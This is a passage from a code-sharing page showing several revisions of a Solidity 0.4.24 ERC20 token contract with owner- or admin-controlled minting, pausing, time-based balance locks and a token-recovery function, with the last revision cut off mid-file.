| contract ERC20 is ERC20Basic { | |
| function allowance(address owner, address spender) public returns (uint256); | |
| function transferFrom(address from, address to, uint256 value) public returns (bool); | |
| function approve(address spender, uint256 value) public returns (bool); | |
| event Approval(address indexed owner, address indexed spender, uint256 value); | |
| } | |
| /** | |
| * @title Standard ERC20 token | |
| * | |
| * @dev Implementation of the basic standard token. | |
| */ | |
| contract StandardToken is ERC20, BasicToken { | |
| mapping (address => mapping (address => uint256)) internal allowed; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to tran sfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| return BasicToken.transfer(_to, _value); | |
| } | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint256 the amount of tokens to be transferred | |
| */ | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[_from]); | |
| require(_value <= allowed[_from][msg.sender]); | |
| balances[_from] = balances[_from].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
| emit Transfer(_from, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
| * | |
| * Beware that changing an allowance with this method brings the risk that someone may use both the old | |
| * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
| * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
| * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint256 _value) public returns (bool) { | |
| allowed[msg.sender][_spender] = _value; | |
| emit Approval(msg.sender, _spender, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens that an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint256 specifying the amount of tokens still available for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) public returns (uint256) { | |
| return allowed[_owner][_spender]; | |
| } | |
| /** | |
| * approve should be called when allowed[_spender] == 0. To increment | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| */ | |
| function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
| allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
| uint oldValue = allowed[msg.sender][_spender]; | |
| if (_subtractedValue > oldValue) { | |
| allowed[msg.sender][_spender] = 0; | |
| } else { | |
| allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
| } | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Mintable token | |
| */ | |
| contract MintableToken is StandardToken, Ownable { | |
| event Mint(address indexed to, uint256 amount); | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { | |
| totalSupply = totalSupply.add(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| emit Mint(_to, _amount); | |
| emit Transfer(address(0), _to, _amount); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Additioal token | |
| * @dev Mintable token with a token can be increased with proportion. | |
| */ | |
| contract AdditionalToken is MintableToken { | |
| uint256 public maxProportion; | |
| uint256 public lockedYears; | |
| uint256 public initTime; | |
| mapping(uint256 => uint256) public records; | |
| mapping(uint256 => uint256) public maxAmountPer; | |
| event MintRequest(uint256 _curTimes, uint256 _maxAmountPer, uint256 _curAmount); | |
| constructor(uint256 _maxProportion, uint256 _lockedYears) public { | |
| require(_maxProportion >= 0); | |
| require(_lockedYears >= 0); | |
| maxProportion = _maxProportion; | |
| lockedYears = _lockedYears; | |
| initTime = block.timestamp; | |
| } | |
| /** | |
| * @dev Function to Increase tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of the minted tokens. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyOwner public returns (bool) { | |
| uint256 curTime = block.timestamp; | |
| uint256 curTimes = curTime.sub(initTime)/(31536000); | |
| require(curTimes >= lockedYears); | |
| uint256 _maxAmountPer; | |
| if(maxAmountPer[curTimes] == 0) { | |
| maxAmountPer[curTimes] = totalSupply.mul(maxProportion).div(100); | |
| } | |
| _maxAmountPer = maxAmountPer[curTimes]; | |
| require(records[curTimes].add(_amount) <= _maxAmountPer); | |
| records[curTimes] = records[curTimes].add(_amount); | |
| emit MintRequest(curTimes, _maxAmountPer, records[curTimes]); | |
| return(super.mint(_to, _amount)); | |
| } | |
| } | |
| /** | |
| * @title Pausable | |
| * @dev Base contract which allows children to implement an emergency stop mechanism. | |
| */ | |
| contract Pausable is Ownable { | |
| event Pause(); | |
| event Unpause(); | |
| bool public paused = false; | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is not paused. | |
| */ | |
| modifier whenNotPaused() { | |
| require(!paused); | |
| _; | |
| } | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is paused. | |
| */ | |
| modifier whenPaused() { | |
| require(paused); | |
| _; | |
| } | |
| /** | |
| * @dev called by the owner to pause, triggers stopped state | |
| */ | |
| function pause() onlyOwner whenNotPaused public { | |
| paused = true; | |
| emit Pause(); | |
| } | |
| /** | |
| * @dev called by the owner to unpause, returns to normal state | |
| */ | |
| function unpause() onlyOwner whenPaused public { | |
| paused = false; | |
| emit Unpause(); | |
| } | |
| } | |
| /** | |
| * @title Pausable token | |
| * @dev StandardToken modified with pausable transfers. | |
| **/ | |
| contract PausableToken is StandardToken, Pausable { | |
| function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.approve(_spender, _value); | |
| } | |
| function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { | |
| return super.increaseApproval(_spender, _addedValue); | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { | |
| return super.decreaseApproval(_spender, _subtractedValue); | |
| } | |
| } | |
| /** | |
| * @title Token contract | |
| */ | |
| contract Token is AdditionalToken, PausableToken { | |
| using SafeMath for uint256; | |
| string public name; | |
| string public symbol; | |
| uint256 public decimals; | |
| bool public setLockFinished; | |
| struct lockToken { | |
| uint256 amount; | |
| uint256 validity; | |
| } | |
| mapping(address => lockToken[]) public locked; | |
| event Lock( | |
| address indexed _of, | |
| uint256 _amount, | |
| uint256 _validity | |
| ); | |
| function () payable public { | |
| revert(); | |
| } | |
| constructor (string _symbol, string _name, uint256 _decimals, uint256 _initSupply, | |
| uint256 _maxProportion, uint256 _lockedYears) AdditionalToken(_maxProportion, _lockedYears) public { | |
| name = _name; | |
| symbol = _symbol; | |
| decimals = _decimals; | |
| totalSupply = totalSupply.add(_initSupply * (10 ** decimals)); | |
| balances[msg.sender] = totalSupply; | |
| } | |
| function lock(address _address, uint256[] _time, uint256[] _amount) onlyOwner public returns(bool) { | |
| require(!setLockFinished); | |
| require(_time.length == _amount.length); | |
| if(locked[_address].length != 0) { | |
| locked[_address].length = 0; | |
| } | |
| uint256 len = _time.length; | |
| uint256 totalAmount = 0; | |
| for(uint256 i = 0; i<len; i++) { | |
| totalAmount = totalAmount.add(_amount[i]); | |
| } | |
| require(balances[_address] >= totalAmount); | |
| for(i = 0; i < len; i++) { | |
| locked[_address].push(lockToken(_amount[i], block.timestamp.add(_time[i]))); | |
| emit Lock(_address, _amount[i], block.timestamp.add(_time[i])); | |
| } | |
| return true; | |
| } | |
| function finishLock() onlyOwner public { | |
| setLockFinished = true; | |
| } | |
| /** | |
| * @dev Returns tokens locked for a specified address for a | |
| * specified purpose at a specified time | |
| * | |
| * @param _of The address whose tokens are locked | |
| * @param _time The timestamp to query the lock tokens for | |
| */ | |
| function tokensLocked(address _of, uint256 _time) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| for(uint256 i = 0;i < locked[_of].length;i++) | |
| { | |
| if(locked[_of][i].validity>_time) | |
| amount += locked[_of][i].amount; | |
| } | |
| } | |
| /** | |
| * @dev Returns tokens available for transfer for a specified address | |
| * @param _of The address to query the the lock tokens of | |
| */ | |
| function transferableBalanceOf(address _of) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| uint256 lockedAmount = 0; | |
| lockedAmount += tokensLocked(_of, block.timestamp); | |
| amount = balances[_of].sub(lockedAmount); | |
| } | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(msg.sender)); | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(_from)); | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { | |
| return ERC20(tokenAddress).transfer(owner, tokens); | |
| } | |
| } | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.4.24; | |
| /** | |
| * @title Ownable | |
| * @dev The Ownable contract has an owner address, and provides basic authorization control | |
| * functions, this simplifies the implementation of user permissions. | |
| */ | |
| contract Ownable { | |
| address public owner; | |
| address public newOwner; | |
| address public adminer; | |
| event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the adminer. | |
| */ | |
| modifier onlyAdminer { | |
| require(msg.sender == owner || msg.sender == adminer); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a new owner. | |
| * @param _owner The address to transfer ownership to. | |
| */ | |
| function transferOwnership(address _owner) public onlyOwner { | |
| newOwner = _owner; | |
| } | |
| /** | |
| * @dev New owner accept control of the contract. | |
| */ | |
| function acceptOwnership() public { | |
| require(msg.sender == newOwner); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| newOwner = address(0x0); | |
| } | |
| /** | |
| * @dev change the control of the contract to a new adminer. | |
| * @param _adminer The address to transfer adminer to. | |
| */ | |
| function changeAdminer(address _adminer) public onlyOwner { | |
| adminer = _adminer; | |
| } | |
| } | |
| /** | |
| * @title SafeMath | |
| * @dev Math operations with safety checks that throw on error | |
| */ | |
| library SafeMath { | |
| function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
| if (a == 0) { | |
| return 0; | |
| } | |
| uint256 c = a * b; | |
| assert(c / a == b); | |
| return c; | |
| } | |
| function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint256 c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
| uint256 c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| } | |
| /** | |
| * @title ERC20Basic | |
| * @dev Simpler version of ERC20 interface | |
| */ | |
| contract ERC20Basic { | |
| uint256 public totalSupply; | |
| function balanceOf(address who) public view returns (uint256); | |
| function transfer(address to, uint256 value) public returns (bool); | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| } | |
| /** | |
| * @title Basic token | |
| * @dev Basic version of StandardToken, with no allowances. | |
| */ | |
| contract BasicToken is ERC20Basic { | |
| using SafeMath for uint256; | |
| mapping(address => uint256) balances; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[msg.sender]); | |
| // SafeMath.sub will throw if there is not enough balance. | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| emit Transfer(msg.sender, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint256 representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) public view returns (uint256 balance) { | |
| return balances[_owner]; | |
| } | |
| } | |
| /** | |
| * @title ERC20 interface | |
| */ | |
| contract ERC20 is ERC20Basic { | |
| function allowance(address owner, address spender) public view returns (uint256); | |
| function transferFrom(address from, address to, uint256 value) public returns (bool); | |
| function approve(address spender, uint256 value) public returns (bool); | |
| event Approval(address indexed owner, address indexed spender, uint256 value); | |
| } | |
| /** | |
| * @title Standard ERC20 token | |
| * | |
| * @dev Implementation of the basic standard token. | |
| */ | |
| contract StandardToken is ERC20, BasicToken { | |
| mapping (address => mapping (address => uint256)) internal allowed; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to tran sfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| return BasicToken.transfer(_to, _value); | |
| } | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint256 the amount of tokens to be transferred | |
| */ | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[_from]); | |
| require(_value <= allowed[_from][msg.sender]); | |
| balances[_from] = balances[_from].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
| emit Transfer(_from, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
| * | |
| * Beware that changing an allowance with this method brings the risk that someone may use both the old | |
| * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
| * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
| * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint256 _value) public returns (bool) { | |
| allowed[msg.sender][_spender] = _value; | |
| emit Approval(msg.sender, _spender, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens that an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint256 specifying the amount of tokens still available for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) public view returns (uint256) { | |
| return allowed[_owner][_spender]; | |
| } | |
| /** | |
| * approve should be called when allowed[_spender] == 0. To increment | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| */ | |
| function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
| allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
| uint oldValue = allowed[msg.sender][_spender]; | |
| if (_subtractedValue > oldValue) { | |
| allowed[msg.sender][_spender] = 0; | |
| } else { | |
| allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
| } | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Mintable token | |
| */ | |
| contract MintableToken is StandardToken, Ownable { | |
| event Mint(address indexed to, uint256 amount); | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of tokens to mint. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyAdminer public returns (bool) { | |
| totalSupply = totalSupply.add(_amount); | |
| balances[_to] = balances[_to].add(_amount); | |
| emit Mint(_to, _amount); | |
| emit Transfer(address(0), _to, _amount); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Additioal token | |
| * @dev Mintable token with a token can be increased with proportion. | |
| */ | |
| contract AdditionalToken is MintableToken { | |
| uint256 public maxProportion; | |
| uint256 public lockedYears; | |
| uint256 public initTime; | |
| mapping(uint256 => uint256) public records; | |
| mapping(uint256 => uint256) public maxAmountPer; | |
| event MintRequest(uint256 _curTimes, uint256 _maxAmountPer, uint256 _curAmount); | |
| constructor(uint256 _maxProportion, uint256 _lockedYears) public { | |
| require(_maxProportion >= 0); | |
| require(_lockedYears >= 0); | |
| maxProportion = _maxProportion; | |
| lockedYears = _lockedYears; | |
| initTime = block.timestamp; | |
| } | |
| /** | |
| * @dev Function to Increase tokens | |
| * @param _to The address that will receive the minted tokens. | |
| * @param _amount The amount of the minted tokens. | |
| * @return A boolean that indicates if the operation was successful. | |
| */ | |
| function mint(address _to, uint256 _amount) onlyAdminer public returns (bool) { | |
| uint256 curTime = block.timestamp; | |
| uint256 curTimes = curTime.sub(initTime)/(31536000); | |
| require(curTimes >= lockedYears); | |
| uint256 _maxAmountPer; | |
| if(maxAmountPer[curTimes] == 0) { | |
| maxAmountPer[curTimes] = totalSupply.mul(maxProportion).div(100); | |
| } | |
| _maxAmountPer = maxAmountPer[curTimes]; | |
| require(records[curTimes].add(_amount) <= _maxAmountPer); | |
| records[curTimes] = records[curTimes].add(_amount); | |
| emit MintRequest(curTimes, _maxAmountPer, records[curTimes]); | |
| return(super.mint(_to, _amount)); | |
| } | |
| } | |
| /** | |
| * @title Pausable | |
| * @dev Base contract which allows children to implement an emergency stop mechanism. | |
| */ | |
| contract Pausable is Ownable { | |
| event Pause(); | |
| event Unpause(); | |
| bool public paused = false; | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is not paused. | |
| */ | |
| modifier whenNotPaused() { | |
| require(!paused); | |
| _; | |
| } | |
| /** | |
| * @dev Modifier to make a function callable only when the contract is paused. | |
| */ | |
| modifier whenPaused() { | |
| require(paused); | |
| _; | |
| } | |
| /** | |
| * @dev called by the owner to pause, triggers stopped state | |
| */ | |
| function pause() onlyAdminer whenNotPaused public { | |
| paused = true; | |
| emit Pause(); | |
| } | |
| /** | |
| * @dev called by the owner to unpause, returns to normal state | |
| */ | |
| function unpause() onlyAdminer whenPaused public { | |
| paused = false; | |
| emit Unpause(); | |
| } | |
| } | |
| /** | |
| * @title Pausable token | |
| * @dev StandardToken modified with pausable transfers. | |
| **/ | |
| contract PausableToken is StandardToken, Pausable { | |
| function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { | |
| return super.approve(_spender, _value); | |
| } | |
| function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { | |
| return super.increaseApproval(_spender, _addedValue); | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { | |
| return super.decreaseApproval(_spender, _subtractedValue); | |
| } | |
| } | |
| /** | |
| * @title Token contract | |
| */ | |
| contract Token is AdditionalToken, PausableToken { | |
| using SafeMath for uint256; | |
| string public name; | |
| string public symbol; | |
| uint256 public decimals; | |
| bool public lockFinished; | |
| struct lockToken { | |
| uint256 amount; | |
| uint256 validity; | |
| } | |
| mapping(address => lockToken[]) public locked; | |
| event Lock( | |
| address indexed _of, | |
| uint256 _amount, | |
| uint256 _validity | |
| ); | |
| function () payable public { | |
| revert(); | |
| } | |
| constructor (string _symbol, string _name, uint256 _decimals, uint256 _initSupply, | |
| uint256 _maxProportion, uint256 _lockedYears) AdditionalToken(_maxProportion, _lockedYears) public { | |
| name = _name; | |
| symbol = _symbol; | |
| decimals = _decimals; | |
| totalSupply = totalSupply.add(_initSupply * (10 ** decimals)); | |
| balances[msg.sender] = totalSupply.div(2); | |
| balances[address(this)] = totalSupply - balances[msg.sender]; | |
| } | |
| function lock(address _address, uint256[] _time, uint256[] _amount) onlyAdminer public returns(bool) { | |
| require(!lockFinished); | |
| require(_time.length == _amount.length); | |
| if(locked[_address].length != 0) { | |
| locked[_address].length = 0; | |
| } | |
| uint256 len = _time.length; | |
| uint256 totalAmount = 0; | |
| uint256 i = 0; | |
| for(i = 0; i<len; i++) { | |
| totalAmount = totalAmount.add(_amount[i]); | |
| } | |
| require(balances[_address] >= totalAmount); | |
| for(i = 0; i < len; i++) { | |
| locked[_address].push(lockToken(_amount[i], block.timestamp.add(_time[i]))); | |
| emit Lock(_address, _amount[i], block.timestamp.add(_time[i])); | |
| } | |
| return true; | |
| } | |
| function finishLock() onlyAdminer public { | |
| lockFinished = true; | |
| } | |
| /** | |
| * @dev Returns tokens locked for a specified address for a | |
| * specified purpose at a specified time | |
| * | |
| * @param _of The address whose tokens are locked | |
| * @param _time The timestamp to query the lock tokens for | |
| */ | |
| function tokensLocked(address _of, uint256 _time) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| for(uint256 i = 0;i < locked[_of].length;i++) | |
| { | |
| if(locked[_of][i].validity>_time) | |
| amount += locked[_of][i].amount; | |
| } | |
| } | |
| /** | |
| * @dev Returns tokens available for transfer for a specified address | |
| * @param _of The address to query the the lock tokens of | |
| */ | |
| function transferableBalanceOf(address _of) | |
| public | |
| view | |
| returns (uint256 amount) | |
| { | |
| uint256 lockedAmount = 0; | |
| lockedAmount += tokensLocked(_of, block.timestamp); | |
| amount = balances[_of].sub(lockedAmount); | |
| } | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(msg.sender)); | |
| return super.transfer(_to, _value); | |
| } | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_value <= transferableBalanceOf(_from)); | |
| return super.transferFrom(_from, _to, _value); | |
| } | |
| function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyAdminer returns (bool success) { | |
| return ERC20(tokenAddress).transfer(owner, tokens); | |
| } | |
| } | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| pragma solidity 0.4.24; | |
| /** | |
| * @title Ownable | |
| * @dev The Ownable contract has an owner address, and provides basic authorization control | |
| * functions, this simplifies the implementation of user permissions. | |
| */ | |
| contract Ownable { | |
| address public owner; | |
| event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); | |
| /** | |
| * @dev The Ownable constructor sets the original `owner` of the contract to the sender | |
| * account. | |
| */ | |
| constructor() public { | |
| owner = msg.sender; | |
| } | |
| /** | |
| * @dev Throws if called by any account other than the owner. | |
| */ | |
| modifier onlyOwner() { | |
| require(msg.sender == owner); | |
| _; | |
| } | |
| /** | |
| * @dev Allows the current owner to transfer control of the contract to a newOwner. | |
| * @param newOwner The address to transfer ownership to. | |
| */ | |
| function transferOwnership(address newOwner) public onlyOwner { | |
| require(newOwner != address(0)); | |
| emit OwnershipTransferred(owner, newOwner); | |
| owner = newOwner; | |
| } | |
| } | |
| /** | |
| * @title SafeMath | |
| * @dev Math operations with safety checks that throw on error | |
| */ | |
| library SafeMath { | |
| function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
| if (a == 0) { | |
| return 0; | |
| } | |
| uint256 c = a * b; | |
| assert(c / a == b); | |
| return c; | |
| } | |
| function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
| // assert(b > 0); // Solidity automatically throws when dividing by 0 | |
| uint256 c = a / b; | |
| // assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
| return c; | |
| } | |
| function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
| assert(b <= a); | |
| return a - b; | |
| } | |
| function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
| uint256 c = a + b; | |
| assert(c >= a); | |
| return c; | |
| } | |
| } | |
| /** | |
| * @title ERC20Basic | |
| * @dev Simpler version of ERC20 interface | |
| */ | |
| contract ERC20Basic { | |
| uint256 public totalSupply; | |
| function balanceOf(address who) public returns (uint256); | |
| function transfer(address to, uint256 value) public returns (bool); | |
| event Transfer(address indexed from, address indexed to, uint256 value); | |
| } | |
| /** | |
| * @title Basic token | |
| * @dev Basic version of StandardToken, with no allowances. | |
| */ | |
| contract BasicToken is ERC20Basic { | |
| using SafeMath for uint256; | |
| mapping(address => uint256) balances; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to transfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[msg.sender]); | |
| // SafeMath.sub will throw if there is not enough balance. | |
| balances[msg.sender] = balances[msg.sender].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| emit Transfer(msg.sender, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Gets the balance of the specified address. | |
| * @param _owner The address to query the the balance of. | |
| * @return An uint256 representing the amount owned by the passed address. | |
| */ | |
| function balanceOf(address _owner) public returns (uint256 balance) { | |
| return balances[_owner]; | |
| } | |
| } | |
| /** | |
| * @title ERC20 interface | |
| */ | |
| contract ERC20 is ERC20Basic { | |
| function allowance(address owner, address spender) public returns (uint256); | |
| function transferFrom(address from, address to, uint256 value) public returns (bool); | |
| function approve(address spender, uint256 value) public returns (bool); | |
| event Approval(address indexed owner, address indexed spender, uint256 value); | |
| } | |
| /** | |
| * @title Standard ERC20 token | |
| * | |
| * @dev Implementation of the basic standard token. | |
| */ | |
| contract StandardToken is ERC20, BasicToken { | |
| mapping (address => mapping (address => uint256)) internal allowed; | |
| /** | |
| * @dev transfer token for a specified address | |
| * @param _to The address to tran sfer to. | |
| * @param _value The amount to be transferred. | |
| */ | |
| function transfer(address _to, uint256 _value) public returns (bool) { | |
| return BasicToken.transfer(_to, _value); | |
| } | |
| /** | |
| * @dev Transfer tokens from one address to another | |
| * @param _from address The address which you want to send tokens from | |
| * @param _to address The address which you want to transfer to | |
| * @param _value uint256 the amount of tokens to be transferred | |
| */ | |
| function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
| require(_to != address(0)); | |
| require(_value <= balances[_from]); | |
| require(_value <= allowed[_from][msg.sender]); | |
| balances[_from] = balances[_from].sub(_value); | |
| balances[_to] = balances[_to].add(_value); | |
| allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
| emit Transfer(_from, _to, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
| * | |
| * Beware that changing an allowance with this method brings the risk that someone may use both the old | |
| * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
| * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
| * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
| * @param _spender The address which will spend the funds. | |
| * @param _value The amount of tokens to be spent. | |
| */ | |
| function approve(address _spender, uint256 _value) public returns (bool) { | |
| allowed[msg.sender][_spender] = _value; | |
| emit Approval(msg.sender, _spender, _value); | |
| return true; | |
| } | |
| /** | |
| * @dev Function to check the amount of tokens that an owner allowed to a spender. | |
| * @param _owner address The address which owns the funds. | |
| * @param _spender address The address which will spend the funds. | |
| * @return A uint256 specifying the amount of tokens still available for the spender. | |
| */ | |
| function allowance(address _owner, address _spender) public returns (uint256) { | |
| return allowed[_owner][_spender]; | |
| } | |
| /** | |
| * approve should be called when allowed[_spender] == 0. To increment | |
| * allowed value is better to use this function to avoid 2 calls (and wait until | |
| * the first transaction is mined) | |
| * From MonolithDAO Token.sol | |
| */ | |
| function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
| allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
| uint oldValue = allowed[msg.sender][_spender]; | |
| if (_subtractedValue > oldValue) { | |
| allowed[msg.sender][_spender] = 0; | |
| } else { | |
| allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
| } | |
| emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
| return true; | |
| } | |
| } | |
| /** | |
| * @title Mintable token | |
| */ | |
| contract MintableToken is StandardToken, Ownable { | |
| event Mint(address indexed to, uint256 amount); | |
| event MintFinished(); | |
| bool public mintingFinished = false; | |
| modifier canMint() { | |
| require(!mintingFinished); | |
| _; | |
| } | |
| /** | |
| * @dev Function to mint tokens | |
| * @param _to The address that will receive the minted tokens. | |
